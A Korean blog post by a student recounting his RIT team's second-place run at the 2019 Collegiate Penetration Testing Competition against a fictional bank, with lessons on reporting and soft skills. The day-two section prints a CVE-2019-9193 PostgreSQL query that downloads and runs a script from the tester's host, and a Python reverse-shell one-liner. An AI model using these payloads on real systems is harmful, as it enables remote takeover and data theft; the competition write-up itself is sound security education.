2019 International CPTC 2위를 수상한 우리팀

2019년 11월 24일, 내가 속해있는 RIT 대학교 팀이 국제 CPTC (Collegiate Penetration Testing Competition) 대회에서 60개팀 중 2등을 수상했다. CPTC 자체가 상당히 특이한 대회고, 내가 개인적으로 재미있게 준비하고 참가한 대회라서 이렇게 블로그 글을 남겨본다.

CPTC가 어떤 형태의 대회인지, 어떻게 우리팀이 대회를 준비했고, 어떤 문제점들을 마주치고 해결하였는지, 그리고 어떤 것들을 배웠는지에 대해 써봤다.

목차

1. CPTC란?
2. 다양한 종류의 보안 대회들
3. 2019 CPTC 의 시나리오
4. 경기 내용
5. 배운 점들
6. 마치며

CPTC 란?

CPTC 는 2013년도에 Rochester Institute of Technology (RIT) 대학교의 Bill Stackpole 이라는 교수님이 만든 모의침투테스트 대회이다. 학생들은 가상의 회사를 만들어 가상의 고객과 모의침투테스트를 계약을 맺는 시나리오를 진행한다. 학생팀들은 사전 서류작업, 외부 모의침투테스트, 내부 모의침투테스트, 보고서 작성, 프리젠테이션, 고객과의 소통등을 진행하게 된다.  올해로 6년째를 맞는 CPTC 는 어느덧 미국 내 60개의 대학교 팀 및 500명의 학생들이 참가하고, 30명 가까이 되는 대회 운영진, 그리고 IBM, Google Cloud, Eaton, Uber, Fireeye, MITRE 등을 비롯한 12개 정도의 회사들의 스폰을 받는 대규모 대회로 성장했다.

대기업들과 보안 컨설팅 회사들이 스폰을 하고 있다 (출처: https://nationalcptc.org/)

CPTC 대회는 학생팀들이 실제 보안업체의 역할을 수행하여 가상 회사와 모의침투테스트 계약을 맺는식으로 진행된다.

학생팀들은 사전 계약 단계 (Request for Proposal, Rules of Engagement, Scope, NDA, Pre-Engagement Meeting) 부터 실제 외부/내부 모의침투테스트, 보고서 작성, 고객과의 소통, 그리고 마지막으로  프리젠테이션 까지, 2박 3일 동안 실제 모의침투테스트와 매우 비슷하게 대회를 진행한다.

나를 비롯한 많은 동기들이 터미널 앞에 앉아서 해킹해킹해킹만 하는 대회로 생각했으나, 실제로는 그것보다 훨씬 더 깊고 포괄적인 대회였다. 기술적인 능력과 문서화, 프리젠테이션, 고객과의 소통 등, 비-기술적인 능력도 요구하는 대회였다. 대회는 총 2달간 진행 되고 그 사이에 전화 미팅, Request for Proposal, Rules of Engagement, NDA 등의 서류작업을 한다. 그 뒤 실제 모의침투테스트 예선전과 본선 경기들은 모두 2박 3일으로 진행된다.

10 페이지 가량 되는 세세한 Rules of Engagement 를 작성하고, 가상 비밀유지계약서(NDA) 서류에 사인을 하고, 2번의 전화미팅, 실제 회사를 본딴 30개 정도의 호스트가 존재하는 인프라를 향한 실제 외부/내부 모의침투테스트, 6시간동안 50페이지 가량 되는 보고서 작성, 그리고 약 15명정도 되는 스폰서 회사들의 실제 임원진들 앞에서 프리젠테이션을 발표하는 것은 엄청난 경험이였다.

한가지 더 특이한 점은 CPTC 는 대회 준비기간, 예선전, 본선 모두 인-캐릭터 (In-Character) 로 진행이 된다는 점이다. 인-캐릭터라는 것은 연기와 비슷한 개념이다. 학생들은 경기 도중 모든 대회 운영진들과의 소통 (이메일, 전화, 대화)을 실제 보안업체와 고객회사가 소통 하듯 진행해야 한다. 대회 운영진들 또한 모두 가상 회사의 임원진 타이틀과 가명을 사용한다. 이렇듯 연기까지 하면서 과도한 설정 몰입을 하는 까닭은, 현실적인 환경을 만들기 위해서라고 한다. 실제로도 어떻게 하면 프로페셔널하게 소통을 할까, 이 상황이 현실이라면 난 어떻게 대처해야할까 등을 고민하면서 많은 것을 배웠다.

CPTC 를 만든 Bill Stackpole 교수님은 "제대로된" Offensive Security 인재들을 육성하고, 현실적인 환경을 선보이며, 스폰서 회사들과 대학생들 간의 더욱 더 긴밀한 관계를 구축하기 위해서 대회를 만들었다고 말씀하셨다. 대학생들은 수업이나 동아리적인 측면에서 Offensive Security 를 마주할 기회가 많지 않고, 이에 따라 업계에서의 수요는 늘어나지만 공급이 부족한 환경이 안타까웠다고 한다. 모의침투테스터로 활동을 한 대회 운영진분께서 "실제로 내가 매일 하는 일과 비슷하다" 라고 말씀하신 것을 보면, 대회의 목적은 충분히 달성하고 있는 것 같다.

다양한 보안 대회 형식

CPTC 가 워낙 독특한 형태의 대회이기 때문에 다른 종류의 보안 대회들과 비교를 해봤다.

CTF

우리 동아리가 매년 개최하는 RITSEC CTF 로고

CTF (Capture the Flag) : 아마 우리나라 학생들에게 가장 익숙한 형태의 대회일 것이다. 참가팀들은 운영측에서 준비하는 문제들 (Challenges) 를 풀고, 정답인 플래그 (flag) 를 찾아 그에 맞는 점수를 획득한다. 요새는 CTF 또한 많이 발전하여 특정 분야에 집중하는 CTF (Flare-On 은 리버싱, Trace Labs 사의 OSINT CTF 등) 또한 나오고 있다. CPTC 와는 장르가 완전히 다르다.

Attack/Defense

공격/방어 대회 중 가장 유명한 CCDC 대회 로고

Attack/Defense : 미국내에서는 많이 알려졌고, 미국 학생들이 제일 좋아하는 형식의 대회다. 하나의 Red team과 여러개의 학생 Blue team 들끼리 서로의 호스트와 네트워크를 공격/방어하는 형태의 대회이다. 한가지 특이한 점은 레드팀 자체는 대회 운영진들이고, 학생팀들은 모두 블루팀이며, 블루팀들끼리 서로간 점수 경쟁을 펼치게 된다는 것이다. 학생팀들에게는 10~15개정도의 호스트가 주어지며, 각각의 호스트에는 여러개의 네트워크 서비스/어플리케이션들 (SMB, SSH, HTTP/S, RDP, SMTP, IMAP, POP3, ICMP, Docker, Gitlab, RocketChat) 이 설치되어 있다. 레드팀의 목적은 블루팀들의 호스트를 장악하고 서비스의 기용성에 영향을 주는것이다. 블루팀들의 목적은 방어를 하면서 서비스 업타임 (Service Uptime) 을 유지시키는 것이다. 유명한 대회중에는 CCDC (Collegiate Cyber Defense Competition) 가 있다.

CPTC

CPTC 대회 로고

CPTC는 앞서 두 개의 대회와는 다른 성격을 가진다. 챌린지를 푸는 형태의 CTF와 공격/방어 형태의 Attack/Defense 와는 다르게, CPTC는 고객과의 모의침투테스트 계약을 맺는다는 시나리오로 진행되는 대회다. 프로페셔널한 의사소통, 기술적인 문제 해결능력, 모의침투테스트 능력, 그리고 문서화 능력등을 최대한 현실과 비슷한 환경에서 겨뤄볼 수 있는 형식의 대회다.

2019 CPTC 시나리오

2019년도 CPTC 시나리오는 다음과 같다. 학생팀들은 DinoBank (다이노 은행) 라는 가상의 은행과 모의침투테스트 계약을 맺게 된다. 학생팀들은 다이노 은행 모의침투테스트 계약을 처음부터 끝까지 진행해야한다.

Linkedin 페이지, 가상 인물들 (다들 linkedin이 있었다), 공식홈페이지, Reddit, Medium 까지, 설정에 많은 노력을 기울였다. 

CPTC의 전통이자 재밌는 점은, 가상 회사를 구축하는데 있어서 많은 노력을 한다는 것이다. 이번년도는 OSINT (Open Source Intelligence) 까지 있었기 때문에, 다이노 은행에 관련된 링크드인(Linkedin) 의 가상인물들, 서브레딧(sub-Reddit), 다이노 은행 회사 소개 웹사이트 (도메인은 dinobank.us 였으나 현재는 내려간 상태이다), Medium 글까지 있었다.  

실제 인프라쪽으로는 은행 답게 여러 도시에 걸친 각 지부들, 중앙 데이터베이스, 암호화폐, 여러개의 웹 어플리케이션, ATM 기, 그리고 자동음성응답시스템(Interactive Voice Response)까지 갖추고 있다. 이번년도 CPTC의 호스트 토폴로지는 다음과 같다. Active Directory 환경 - 1개의 Forest 와 3개의 Domain, 그 외에 몇대의 리눅스 호스트들이 있었다.

전반적인 토폴로지

중요한 내용들은 모두 생략된 Active Directory 토폴로지

자세한 내용들 - 서브넷의 이름, 호스트의 이름, 중요 서버이름들과 역할들은 모두 생략하였다. 내년 CPTC 에 참가하는 팀들이 혹여나 너무 많은 힌트를 얻으면 안되니까 말이다.

중요 서비스와 서버들

운영진 멤버인 Jason Ross(@rossja) 가 트위터에 업로드한 토폴로지다

전반적인 네트워크 서비스 토폴로지를 보자면, Active Directory(AD) 는 평범한 회사의 AD를 닮았지만, 중요 서비스/서버들 자체가 매우 특이하다. 비단 평범한 웹어플리케이션 뿐만 아니라, 자동응성응답시스템 (Interactive Voice Response), ATM 기, 암호화폐를 담당하는 Heads and Tails 서버들, 그리고 이 모든 것을 하나로 묶어 데이터베이스와 소통하는 코어 API 가 있었다.

그리고... 사전 계약 미팅때 ATM기가 언급되었는데, 실제로 대회 운영진측에서 경기장에 1개의 팀당 1개의 ATM기를 주었다. 그렇다, 진짜로 오래된 ATM기를 사와서 가져다준 것이다.

진짜 ATM 기를 사와서 우리보고 모의침투를 하라고 했다. 의외로 Craiglist에서 쉽게 구했다고.. (@TomKopchak)

우리 팀원들 전체가 설마설마 했는데 진짜로 ATM 기를 던져줄주는 몰랐다. 그 덕분에 우리 팀원들 전체는 외부/내부 테스트, ATM기 테스트, 핸드폰을 통해 자동응답시스템 테스트, 대회 운영진들과 소통까지 하느라 정신이 하나도 없었다 (물론 재밌었다).

대회 주요 운영팀원인 Tom Kopchak 이 말하길, 신기하게도 Craigslist 에 오래된 ATM 기기들이 올라와있었고, 별 법적 어려움 없이 살 수 있었다고 한다. 오히려 문제가 됐던 점은 ATM기 12대를 트럭에다가 싣고 미국을 횡단한거라고 한다. 참고로 이 ATM기들은 모두 효성 그룹(http://www.hyosung.co.kr/kr/index.do)의 ATM기들이였다. 머나먼 미국에서 우리나라 ATM 기를 보고, 모의침투테스트를 하자니 신기했다. 대회 중간에 효성 그룹페이지에 들어가서 ATM 모델명의 문서를 영어로 읽고 있자니 진짜 기분이 묘했다.

경기내용

전반적인 경기 내용은 모의침투테스트와 비슷하다고 생각한다. 20분간의 짧은 준비 이후에 스코프 (scope) 안의 모든 서브넷과 호스트를 스캔해 살아있는 호스트들의 명단을 만들었다. 그 이후에는 큰 그림을 보기위해 대략적인 토폴로지를 만들어 중요 서버들과 그 서버들과 소통하는 다른 서버/호스트들을 선별했다. 중요 순위를 두어 1개의 호스트씩 포스스캔을 통한 더 세심한 정보수집을 진행했다. 마지막으로는 호스트 별로  취약점 분석을 한 뒤, 공격을 시도하여 내부망 안으로 진입하고, 그 이후에는 AD 를 이용하여 횡적 이동을 했다.

나는 리눅스 리드였기 때문에 *Nix 쪽의 호스트들을 주로 테스트 했지만, 마지막에 가서는 AD 횡적 이동 및 윈도우쪽 호스트들에 대한 테스트를 도와줬다.

첫째날 - 정보수집

몇가지 사건  때문에 우리팀은 첫날에 2시간 밖에 시간이 없었다. 따라서 팀원 전체가 자신의 호스트 환경을 세팅을 한뒤, 전반적인 정보수집을 시작하였다. 서브넷의 갯수, 호스트의 갯수, 호스트의 이름, 중요 정보등을 모두 수집을 하고, 세세한 모든 TCP 포트 스캐닝과 Default vulnerability scan (nmap -sC) 등을 실행하였다.

# Find hosts that are alive 
nmap -sP <CIDR> -T4 -oA hosts_alive

# Double check alive hosts with sanity check port scan
nmap -p 80,443,139,445,3389,5985,5986 --max-retries 2 <CIDR> -T4 -oA hosts_alive_sanity_check

# Short full-tcp scan of a specific target 
nmap -p- --max-retries 1 -T4 -v -oA full_tcp $ip 
 
# Detailed tcp scan with default scripts 
nmap -sCV -T4 -v -p<port numbers from above> -oA targeted_tcp $ip 
 
# Short udp scan of the target 
nmap -sU --max-retries 2 -T4 -v -oA basic_udp $ip 
이 정도 nmap 스캔으로도 충분히 필요한 것을 다 찾을 수 있었다

우리팀은 스캔 결과에 거짓 양성 결과가 나오지 않도록 nmap 과 masscan 두 가지 툴을 이용을 했는데, 결과적으로 매우 좋은 선택이였던 것 같다. masscan 의 경우 스캔 결과가 잘 정리되어 나오지 않기 때문에 따로 팀원이 만들어놓은 파이썬 파서를 이용하였다.

첫째날은 2시간 밖에 진행하지 않은 것 치고는 모든 호스트들에 대한 정보수집을 하고, 예선전때 사용했던 취약점 공격 방법들을 모두 다시 한 번 점검했기 때문에 나쁘지 않았다. 숙소로 돌아간 뒤 보고서의 틀을 짜고, 예선전때의 취약점들이 고쳐졌는지, 안고쳐졌는지 문서화를 한 뒤, 중요 서버들에 대해 중요도를 선정하고, 두번째 날을 위해 빨리 잤다.

둘째날 - 취약점 발견, 분석, 공격

가장 재미있었던 날이였다. 각 팀들마다 추가로 ATM 기가 지급이 되고, 8시간 가량의 모의침투테스트 시간이 주어졌다.

둘째날의 초반에는 쉬운 공격들에 집중했다. 계정 잠김에 걸리지 않도록 조심스럽게 비밀번호 스프레이 공격(Password Sparying)을 SSH, SMB, RDP에 보내고, 웹 어플리케이션은 모두 gobuster 를 이용한 디렉토리 무차별대입 공격(Directory Bruteforcing), 간단한 기본 계정/비밀번호 사용자 인증, 어플의 버전을 알아낸 뒤 CVE 검색등을 시도했다. DNS 서버에는 Zone Transfer 를 시도하고, Anonymous login 이 있는 서비스라면 모두 다 로그인 시도를 해봤다.  

코어 데이터베이스에서 찾아낸 PII - 비록 가상의 데이터지만, 검열은 꼭 해야한다.

위 테스트들이 이뤄지는 동시에, 나와 다른 팀원 하나는 수동으로 코어 데이터베이스 서버를 테스트했다. PostgreSQL 을 운영하고 있는 이 서버는, 다이노 은행의 모든 데이터를 관리하는 말 그대로 코어 데이터서버였다. 하지만 이렇게 중요한 서버임에도 불구하고 안전한 방화벽 룰이 없고, 때려맞추기 쉬운 비밀번호를 가지고 있었다.  간단한 로그인아이디:비밀번호를 통해 PostgreSQL 에 로그인을 한 뒤에는 데이터베이스를 뒤져 직원들과 다이노 은행 고객들의 아이디, 비밀번호 (hash 가 되어있지 않았다...), 주민등록번호 (Social Security Number), 전화번호, 주소, 보유 자금 등을 찾아내었다.

물론 책임있는 가상 보안업체 답게 개인정보들을 찾아낸 뒤 바로 다이노 은행의 담당자 (Point of Contact) 에게 발견사실을 보고하고, 그 동안은 해당 서버를 건드리지 않았다 (Hands-Off-Keyboard). 혹여나 실수로라도 이 데이터들이 변조/유출/소실이 된다면 우리팀이 고스란히 법적 피해를 받을 수 있기 때문이다. 더 테스트를 진행해도 된다는 허락을 맡은 뒤에야 우리는 더 진행을 할 수 있었다.  

데이터베이스에서 호스트 안으로 원격 코드 실행 (Remote Code Execution) 을 하기 위해서는 CVE-2019-9193 을 활용하였다 (https://nvd.nist.gov/vuln/detail/CVE-2019-9193). 메타스플로잇(Metasploit) 모듈이 있었다는데, 나와 팀원은 그냥 수동으로 해결했다.

CVE-2019-9193 - PostgreSQL SQL Query

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'wget <테스터IP>/s.sh -O /tmp/k.sh; bash /tmp/k.sh &';
SELECT * FROM cmd_exec;
Authenticated - PostgreSQL RCE (CVE-2019-9193)

페이로드 s.sh - 파이썬 리버스쉘 원라이너

#!/bin/sh 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect("<테스터IP>",<테스터포트>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

쉘을 얻은 이후엔 Interactive TTY 로 쉘 업그레이드를 하고 (https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/), 코어 데이터베이스 안에서의 root 계정으로 로컬 권한 상승(Local Privilege Escalation) 을 준비했다.

그 와중에 다른 팀원들은 웹 어플리케이션에서 다양한 취약점을 발견했다. 갯수도 많고 종류도 다양하여 생략한다. 기억나는 취약점들은 IDOR, Default Password, XSS, SQL Injection 등의 취약점들이였다. API Fuzzing, Deserialization 등의 취약점은 시간이 부족해 테스트 해보지 않아 그게 좀 아쉬웠다.

코어 데이터베이스 서버에서 로컬 권한 상승을 결국 실패하고 허겁지겁 점심을 먹었다.  점심 뒤에 좀 뜬금없게도 윈도우쪽 호스트의 RDP 비밀번호를 Spraying 에 성공하면서, 윈도우쪽에도 우리팀이 침투를 할 수 있게 되었다. 앞서 데이터베이스에서 찾았던 도메인 유저들의 리스트를 가지고 패스워드 스프레이를 하다가 RDP 로그인에 성공한 것이다.

내부 AD에 접근한 뒤로는 일사천리였다. PowerView 를 이용해 필요한 정보수집을 시작했다. 도메인 정보 (포레스트 정보, 도메인들 정보, Domain Trust 정보, 도메인 유저, 도메인 컴퓨터, 유저 세션, 도메인 컨트롤러 정보...) 를 알아낸 다음, 횡적이동을 시작했다. Mimikatz 를 통해 계정정보를 입수하고, Powershell Remoting, PSExec, WMI 등으로 횡적이동을 진행했다. 횡적 이동을 하다 우리팀 윈도우 리드가 특정 로그파일에 남겨져 있었던 Domain Administrator (DA) 의 비밀번호를 발견, 다이노 은행의 모든 윈도우 도메인과 호스트들을 장악했다.

둘째날 경기 3시간째 우리팀은 코어 데이터베이스와 웹어플리케이션을 마저 테스트하고, 모든 윈도우 도메인과 호스트들을 장악하는데 성공했다. 남은 4시간을 이용해 ATM기, 자동음성응답시스템, 웹어플리케이션들, 그리고 문서화를 시작하였다. 모든 시스템들이 코어 시스템에 연결이 되었기 때문에, 코어 데이터베이스를 통해 ATM 기에서 계좌가 가진 돈 보다 더 많은 돈을 빼낼 수 있다는 사실을 안 다음에는 정말 신났었다.

셋째날 - 보고서 작성, 프리젠테이션, 그리고 승리팀 발표

둘째날 8시간의 모의침투테스트가 끝나고, 스폰서 회사 직원들과 함께하는 저녁 사교 시간을 즐긴 뒤, 밤 9시부터 새벽 3시까지 보고서 작성 및 프리젠테이션 준비를 진행했다. 당연히 셋째날 아침 8시엔 모두 매우 피곤했었고, 힘들게 프리젠테이션을 발표했다.

프리젠테이션은 정말 긴장됐지만, 재밌는 경험이기도 했다.

CPTC 의 꽃이라고도 볼 수 있는 프리젠테이션은, 실제 스폰서 회사 임원/직원들을 상대로 발표한다. 실제 IBM, Google Cloud, Uber, FireEye, MITRE 등에서 임원/직원들이 와서 이 발표를 본다. 따라서 발표내용은 임원레벨의 사람이 이해할 수 있도록 발표해야한다. 즉, 기술적인 내용도 중요하지만, 비즈니스적 가치와 왜 이 취약점이 회사에 문제가 되는지, 어떤 경제적 가치를 지녔는지 등을 얘기해야한다는 것이다. 너무 기술적으로 깊게 들어가서도 안되고, 얕게 들어가서도 안된다. 모의침투내용, 발견된 취약점, 왜 이러한 취약점들이 고객 회사에게 위협이 되는지, 어떠한 비즈니스적 리스크가 있는지, Compliance와 법과 같은 복잡한 문제를  포괄적으로, 하지만 동시에 간단 명료하게 설명 해야한다.

말이 쉽지, 실제 회사들에서 나온 임원진들, 직원들을 상대로 프리젠테이션을 발표하는 것은 매우 긴장되고 스트레스 받는 일이였다. 하지만 그와 동시에, 대학생활을 하면서, 혹은 직장생활을 하면서 이런 기회가 얼마나 있을까? 하는 생각에 발표를 끝까지 잘 마친 것 같다.

배운 점들 (Lessons Learned)

소프트 스킬

대회에 나가기 전부터 소프트 스킬 (미팅, 대화, 소통, 보고서 작성, 프리젠테이션 발표 등)이 중요하다는 것은 코치님과 현직 모의침투테스터/레드팀에서 일하고 있는 분들에게 많이 들었었다. 하지만 CPTC 를 진행하면서 소프트 스킬이 얼마나 중요한 것인지를 다시 한 번 깨닫게 되었다. 결국 모의침투테스트라는 것은 해당 고객에게 필요한 서비스를 제공하는 일이다. 이럴때 테스터의 목표는 고객을 위한 최상의 서비스를 제공하고, 그 서비스가 고객에게 이득이 될 수 있도록 소통을 하며 이해를 돕는 것이다.

그리고 그 소통은 모두 소프트 스킬에서 나오게된다. 테스터가 정확히 어떠한 테스트를 할 것이고, 어떤 목표가 있으며, 어떤 것을 찾았고, 왜 그것이 중요하며, 어떻게 그것을 고치는가. 이 모든 내용을 이해하기 쉽고 간단 명료하게 고객에게 전달하는 것이 참 중요하다는 것을 배웠다. 소프트 스킬뿐만 아니라 마음가짐과 태도 또한 매우 중요했다. "AD를 장악하는데 30분 밖에 걸리지 않았다." "웹어플리케이션의 현재 상태가 엉망이다" 같은 거만한 태도로 소통을 하는 것은 테스터의 자의식 과잉에는 도움이 될지 모르겠지만, 고객에게는 하등 도움이 되지 않는다. 고객을 존중하고 프로페셔널한 태도를 바탕으로, 내가 찾은 기술적인 정보 (Technical detail) 를 비즈니스적으로 해석하여 간단 명료하게 전달하는 소프트 스킬이 고객에게는 큰 도움이 된다는 것을 배웠다.

큰 그림 - 숲을 보자

우리팀이 어려움을 겪었던 점들 중 하나는 바로 숲을 보기보다는 나무만을 봤다는 것이다. 변명을 하자면 컴퓨터 30대와 ATM, IVR 시스템등을 갖추고 있는 인프라 자체를 학생으로서는 처음 테스트를 했기 때문에, 숲을 보기가 힘들었다. 그럼에도 불구하고 하나의 취약점을 찾으면 그 취약점이 갖는 의의과 비즈니스적 위험을 생각하기 보다는 무조건 취약점을 공격하여 쉘을 얻는데에만 집중을 한 것 같다.

예를 들어 예선전때 내부 인프라안에서 다이노 은행의 암호화폐코인 랜딩 페이지 (Landing Page) 를 찾은 적이 있다. 페이지를 호스팅하는 서버는 프로덕션 상태였었다. 그 때 일부 팀원들이 신나서 취약점을 발견하려고 여러가지 정보 수집을 했던 것이 기억난다. 이 때, 이 웹서버를 어떻게 테스트 해야할까? Gobuster/Directory Traversing/Happy path/Default passwords/API endpoint fuzzing (랜딩페이지에?) ... 모두 틀렸다. "앞에 웹서버가 있다. 취약점을 찾자!" 가 아닌, "왜 내부 인프라에 프로덕션 상태의 암호화폐 랜딩 페이지가 존재하는가?" 를 스스로에게 물어봤어야 했다.

랜딩 페이지라면 DMZ 에 속한 채 인터넷을 향해야 정상일 것이다. 애당초 고객들이 자신의 제품에 대해서 한눈에 알아볼 수 있게 만드는 것이 랜딩페이지니까. 하지만 이 경우에는 이상하게도 내부 인프라에 자리잡고 있었으니 의심을 먼저했어야 맞다. 다이노 은행 담당자 (Point of Contact) 에게 연락을 취하여 이 서버가 원래 내부 인프라망에 존재해도 되는 서버인지 확인을 했어야했다.

하나하나의 취약점 보다는 고객의 인프라를 큰 그림을 그리며 이해하고, 비즈니스 로직과 데이터 플로우 (Data flow) 를 파악한 뒤, 각각의 서브넷과 호스트의 중요도를 매기고, 그를 바탕으로 취약점 발견/분석/공격을 했다면 더 의미있는 테스트를 진행 했을 것 같다.

팀워크와 팀 다이나믹

보안을 배우는 학생의 입장에서 팀 프로젝트및 대회참가는 많이 하지만, 진정한 팀워크를 사용하는 일은 많지 않다. 실제로 팀을 이뤄서 일을 하는 경우는 많지만, 대다수의 경우 각자의 역할에 맞게 일을 하고, 마지막에 그 일을 합치는 정도이다. 예를 들자면 레드팀 (Red Teaming) 같은 경우에는 윈도우/리눅스/네트워킹을 담당하는 팀원들이 각자의 툴을 준비하고, 마지막에 C2 담당 팀원과 소통하여 자신들이 만든 툴을 배포하는 형식이다. 실제로 팀 안에서 유기적인 팀워크는 기대하기가 힘들다.

그런면에서 CPTC는 조금 달랐다. 실제로 모든 팀원들의 자신의 역할을 수행하기도 했지만, 대회 내내 서로의 의견을 듣고, 피드백을 해주고, 회의를 해서 하나의 결론을 도출하는 과정이 있었기 때문이다. 정말 팀 다운 팀에서, 팀워크 다운 팀워크를 한 기분이었다. 그 와중에 발생하는 팀원들간의 의견 충돌, 이후에 따라오는 긴장감, 그리고 그 긴장을 해소하는 방법 등을 배웠다. 3일 동안 10시간정도 수면을 하면서 극한의 스트레스 환경에서의 소통 또한 중요한 경험이 되었다.

마치며

정보보안에 대한 관심이 높아지면서, Computer Science, Software Engineering, Computer Engineering 이 아닌, 정보보안만을 전공하고 공부하는 학생들이 늘고 있다. 그 수요에 따라, 현 미국내에서는 학부생들을 위한 정보보안 전공이 개설되는 학교들이 늘고 있다. 미국 정부쪽에서는 Cyber Patriot, Gen-Cyber, Scholarship for Service 등을 통한 프로그램들로 학생들을 지원하고 있다. 업계쪽에서는 비단 보안관제에서 일하는 SOC Analyst 뿐만아니라, Penetration Tester, Security Engineer, Reverse Engineer, Vulnerability Research, Threat Intelligence Analyst, Red team 등, 실제 업계에서 볼 수 있는 직종들의 인턴쉽 또한 대학생들을 진행하고 있다.

이렇듯 빠르게 성장하고 있는 정보보안 업계와 교육에서, CPTC 는 정말 뜻깊은 대회였다. 비단 모의침투테스트, 보고서, 프리젠테이션, 소통 뿐만 아니라, 실제 업계에서 일하는 것처럼 마음가짐을 갖고 대회에 참가한 것이 정말 큰 배움이 되었다. 앞으로 이런류의 대회가 많이 열려 학생들에게 더 많은 경험을 선사했으면 좋겠다.